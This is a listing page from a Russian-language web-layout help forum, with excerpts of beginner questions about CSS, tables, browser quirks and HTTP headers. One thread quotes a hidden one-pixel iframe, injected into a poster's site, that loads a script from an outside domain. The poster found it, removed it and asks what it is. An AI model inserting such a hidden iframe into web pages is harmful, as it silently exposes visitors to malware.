HTML Coding
Subforums
-
- 30.1k
- posts
-
- 1k
- posts
-
- Про макеты
- By klierik,
Explore Questions
There are no popular questions to show right now
-
0 votes0 answers
-
0 votes0 answers
-
0 votes0 answers
-
0 votes1 answer
-
0 votes3 answers
29542 questions in this forum
-
Вопросы по адаптивной верстке
1. Как указывать шрифты? Так? Или когда как? Или как? )) Скрытый текст html { font-size: 14px; } body { font-size: 1em; } .title { font-size: 1.5em; } @media (min-width: 620px) { html { font-size: 16px; } } Или каждому текст. элементу на каждом брейк-поинте указывать отдельно? )) 2. Как перестраивать блоки в адаптиве? Заказчик предоставляет макет отрисованный под один экран(940-1200px), и при этом говорит, что нужен адаптив, а как его делать? Нужно знать еще и основы веб-дизайна, и иметь вкус? Или есть какой-то шаблон которому все зачастую следуют? Скорее всего список не окончательный, будут еще вопр…
0 votes2 answers -
Плавное изменение высоты блоков
Есть макет http://skrinshoter.ru/s/120718/NWdGGpoo При наведении на блок в нем появляется дочерний блок с доп параметрами, при этом он наезжает на внизу стоящего соседа (как это изображено на картинке) и сосед не отскакивает вниз. Также при наведении картинка превращается в слайдер (как я понимаю). Я это реализовал, но это происходит не плавно. Как сделать чтобы это происходило плавно? https://codepen.io/anon/pen/MBwBve
0 votes1 answer -
Отображение в IE
В общем достаточно трудно объяснить проблему(всего 2 день как занялся изучением html php) попробую показать Мой сайт выглядит так(только поярче jpg контрастность урезал): Opera 9.51: http://s54.radikal.ru/i146/0807/4f/c0f5be0dc7a8.jpg IE 6.0... http://s53.radikal.ru/i142/0807/b9/2e44e79b2218.jpg IE 7 http://s57.radikal.ru/i156/0807/fe/203a9d5c269c.jpg Собственно тут ошибок несколько 1) на IE лого картинки которые в формати png задний фон не воспринематся прозрачным. 2) Меню новостей (оно пока пустое базы в mysql не загрузил) оно выглядит так: <table width="180" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="1a1a1a" height="68"> <tr> …
0 votes0 answers -
Как отцентрировать таблицу в диве (или не в диве)?
Как отцентрировать таблицу в диве? Таблицу с фиксированной шириной (400 пикселей) надо разместить по центру странички. Не пойму как это делать. Вроде в див вкладываю, прописываю диву style="text-align: center;" и ничего, таблица так и остается прижатой к левому краю.
0 votes1 answer -
Рамка на странице
Здравствуйте все те, кто борется с браузерами ради корректной разметки. Есть задача сделать в браузере рамку на весь тег <body>. Эта рамка со всех четырёх сторон должна примыкать к окну документа и при изменении размеров окна должна оставаться примыкать. Т.е. желательно, чтобы полос прокрутки не возникало и практически при любом размере окна мы видили рамку. Сделал такую разметку. body имеет цвет lime, чтобы его проще можно было различить на странице. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Test</title> <style typ…
0 votes5 answers -
OPERA расползание
При открытии галереи или других "длинных" страниц футер не хочет сползать вниз, а должен... помогите пожалуйста собственно сайт: (убран за ненадобностью)
0 votes4 answers -
Картинка в резиновой верстке
Помогите советом новичку. При изменении окна браузера все растягивается и сужается как надо, а картинки нет. Что делать? Я уже каждой картинке прописывала width:%; и тд.
0 votes13 answers -
Ошибка валидации Strict стандарта.
Доброго времени суток, У меня на сайте ошибки валидации заголовок : <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> ошибки тут : onMouseOver=" this.style.opacity=1; this.style.filter='alpha(opacity=90)'; " Скажите как вставить правильно событие?
0 votes6 answers -
div выходит за рамки
Итак, у меня есть ГС на козе, взял я стандартный диз, решил переделать. Корректно работает только на IE, на остальных браузерах(уже изменённая версия) лагает, где в блок входит, где перепрыгивает. Мой ГС. <html> <head> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <title>$SITE_NAME$ - $MODULE_NAME$</title> <?$META_DESCRIPTION$?> <link type="text/css" rel="StyleSheet" href="/_st/my.css" /> <link type="image/x-icon" rel="icon" href="http://cpp-lessons.ru/favicon.ico"> <link type="image/x-icon" rel="shortcut icon" href="http://cpp-lessons.ru/favicon.ico"> </head> <body> $ADMIN_BAR$ <…
0 votes2 answers -
IE7 не правильно отображается фон блоков
Здравствуйте все! В процессе доводки сайта под ИЕ 7 увидел провтык в оформлении комментариев: Вот как комментарии отображаются в нормальных браузерах: И как отображается в ИЕ 7: Насколько я понимаю эксплорер тупит на свойстве background-position. HTML код фрагмента: <table class="com_top"> <tr> <td class="com_avatar"> <div class="user-picture"> <a href="/users/adm1n" title="Информация о пользователе."><img typeof="foaf:Image" src="/sites/default/avatar.png" alt="Аватар пользователя adm1n" title="Аватар пользователя adm1n" /></a> </div> </td> <td class="round_cont"><div class="coml"></div></td…
0 votes4 answers -
Адресация к блокам HTML через URI
Какие в URI-спецификации предусмотрены способы адресации к блокам HTML, помимо адресации по id-атрибуту?
0 votes4 answers -
3 Вопроса по поводу промежутков, размеров
Доброго времени суток! У меня возникли вопросы: ——————————————————————————————————————————-- 1. Я вложил несколько изображений, как мне сделать между ними нужное расстояние. Вот, как у меня: Вот как надо: ——————————————————————————————————————-- 2. Другой вопрос, насчёт header , я ставлю размер надписи на 48 . Но header остаётся меньше чем надо. Вот я поставил на 48 Вот как надо Размер различается как видно. Вот код <header> <h1><a href="x"><FONT size="48">Snaigė</font></a></h1> <img src="x" width="300" height="90" alt=""> </header> ————————————————————————————————————————————- 3…
0 votes2 answers -
Непонятное сжатие полей ввода на смартфоне
Столкнулся с непонятным поведением сайта на смартфоне. Сайт выглядит нормально пока не кликнуть на поле ввода. Когда выезжает клавиатура сайт сжимается, будто бы добавляются какие-то отступы по краям. Вот скрины с мобильника. На первом всё нормально, на втором при клике на инпут - всё сжалось. в живую можно глянуть на сайте - ссылка на втором скрине (раздел "контакты"). Кстати, на компьютере всё работает нормально, даже если окно сжать до 320х480.
0 votes14 answers -
Вирус?
На главной странице своего сайта (на Народе), сразу после обнаружил такую вещь: <IFRAME style="VISIBILITY: hidden" src="updateservernet.cn/tank.php" width=1 height=1></IFRAME> Что это за штука, и как она могла попасть на мой сайт? Этот код я удалил. И пока вроде никаких приложений к нему не нашел. А могут к нему быть приложения? Может мне повнимательнее нужно искать?
0 votes2 answers -
Что дальше?
У меня возник небольшой вопрос. За 2 месяца изучил досконально css и html. Изучал по книге Влада мержевича и 2 других авторов. Немного о книге Влада стоит она недорого, написана на доступном языке для новичков. В москве её моно преобрести в олимпийском прямо при входе у металодетектора. Подскажите, что мне начать изучать далее и какой литераурой пользоваться заранее благодарен.
0 votes5 answers -
background для тега tr
Здравствуйте. Вот сообественно как то так. Искал в нете, посервфил по форумам не чего не нашел. Думаю тут как всегда найти ответа <table cellspacing="0" id="main"> <tr id="top-bg"> <td id="top"> top </td> </tr> <tr id="footer-bg"> <td id="footer"> footer </td> </tr> </table> td#top { background:url(img/top.jpg) repeat-y left; border-bottom:1px solid #ffdead; vertical-align:top; } tr#top-bg { background:url(img/center.jpg) repeat-x bottom; } td#footer { height:106px; padding:0 0 35px 0; background:url(img/footer.jpg) repeat-x bottom; border-top:1px solid #5a4229; } tr#footer-bg { height:106px; back…
0 votes6 answers -
Пустой TD фиксированной ширины
Здравствуйте, появилась небольшая проблема с шириной пустой ячейки, структура проста: <TR> <TD colspan="2">цацуа</TD> </TR> <TR> <TD nowrap width=49 style="width: 49px;"></TD> <TD>wefwefwef</TD> </TR> Ячейка с шириной 49 пкс при большом разрешении шире этого значения, а если указывать в след. ячейке 100% ширину, то первая схлопывается. Заранее благодарен за помощь... И еще Не могли бы вкратце рассказать к чему обязывают эти теги <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.…
0 votes2 answers -
Пустые области при горизонтальной прокрутке в iframe
При размещении фотографий в iframe с возможностью горизонтальной прокрутки периодически в конце прокрутки появляется пустая область. Почему? Можно ли это исправить? сайт: pyatina.com.ua
0 votes7 answers -
table align устаревшая конструкция?
Sharepoint Пишет, что свойство table align="center" консорциум WWW счтиает устаревши. На что его можно поменять, что они считают современным?
0 votes3 answers -
www.forum.htmlbook.ru
При вводе к примеру www.htmlbook.ru сайт работает, а если ввожу дословно www.forum.htmlbook.ru, то "Невозможно найти удаленный сервер". хотя введя просто forum.htmlbook.ru форум работает. Вопрос что, где, как, почему, дайте почитать? Дело в каком-то файле прописать типо .htacess подобие редиректа? p.s. заметил случайно когда зашел из opera mobile 10 версии, которая автоматически доставляет на новой открытой вкладке www., сколько людей возможно ломилось так.
0 votes3 answers -
Шрифт в Mozilla
Сравнил все браузеры, в Mozilla Firefox 4 шрифт больше чем в других тестировал с font-size em и px (Arial) Всегда использовал em и везде было абсолютно одинаково, даже на пиксель нигде не смещалось ничего, кстати с px по другому, но это другая тема. Тык что же случилось с Firefox ? как исправить? p.s: у всех так?
0 votes4 answers -
Корректное отображение Last-Modified
Добрый день. Сайт на php не выдаёт Last-Modified: Date: Wed, 13 Apr 2011 10:42:40 GMT Server: Apache/2.2.4 (Win32) mod_ssl/2.2.4 OpenSSL/0.9.8d PHP/5.2.4 X-Powered-By: PHP/5.2.4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=cp1251 Content-Language: ru 200 OK После добавления в страницу кода(в начало документа): <?header("Content-type: text/html; charset=windows-1251"); header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); ?> выводит: Date: [color="#FF0000"]Wed, 13 Apr 2011 10:45:58 GMT[/color] Server: Apache/2.2.4 (Win32) mod_ssl/2.2.4 OpenSSL/0.9.8d PHP/5.2.4 X-Powered-By: PHP/5.2.4 La…
0 votes4 answers -
Максимальный размер слова в абзаце
Заметил, если в абзаце( ) слишком длинное (искусственно) слово, то из-за него контент вылазит из блока... overflow:hidden помогает, но на padding всё равно лезет... С чем это связано?? Каков максимальный размер слова в абзаце??
0 votes10 answers -
Кроссбраузерность.
Сверстал диз, когда верстал использовал хром. Когда все закончил решил просмотреть в разных браузерах (IE,Firefox). В IE и FireFox страница выглядит меньше по размеру. Верстка фиксированная 960px.В Хроме страница выглядит лучше.Можно ли сделать ка кто чтобы в IE,Firefox страница была как в Хроме? Вот CSS body{ margin: 0px; padding: 0px; } #container{margin: 0 auto; width: 960px; } А вот картинки: 1.Chrome 2.Firefox 3.IE Например: Сравните какой отступ у хром от границы браузера,и какой в Firefox'e и в IE
0 votes7 answers -
как установить Div в нужное положение
Господа, подскажите как поставить див в нужное положение. Теперь у меня так: А я хочу что бы div LANG был перед 'my profile'. Html: code <div id="menu"> <div id="language">LANG</div> <div id="navigation"> <ul> <li>My profile</li> <li>My Ads</li> <li>Login</li> <li>Signup</li> </ul> </div> </div> CSS: code #menu { float:right; width:660px; } #language { float:right; padding-top:5px; padding-right:10px; font-weight:bold; } …
0 votes4 answers